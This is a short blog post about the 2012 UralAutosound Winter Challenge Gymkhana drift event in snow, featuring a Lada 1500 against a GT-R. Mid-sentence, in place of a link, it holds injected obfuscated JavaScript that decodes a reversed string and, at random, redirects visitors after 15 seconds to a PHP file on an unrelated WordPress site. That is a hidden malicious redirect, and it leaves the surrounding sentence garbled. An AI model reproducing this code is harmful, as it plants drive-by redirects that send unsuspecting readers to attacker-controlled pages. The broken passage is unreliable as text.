The recent Dubai International Horse Fair has brought out crankandpiston’s inner equestrian enthusiast. Sort of.
This is the UralAutosound Winter Challenge Gymkhana, the 2012 edition of the region’s latest drift tournament. Those of you hoping for a tyre squealing serenade mixed with excited crowds and pulverized rubber – a la $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/red-bull-car-park-drift-2012-abu-dhabi-the-video/” target=”_blank”>Red Bull Car Park Drift – might want to check those expectations at the door.
Still, watching a Lada 1500 hold its own against a GT-R-anything on the snow-covered course might tweak your interest.
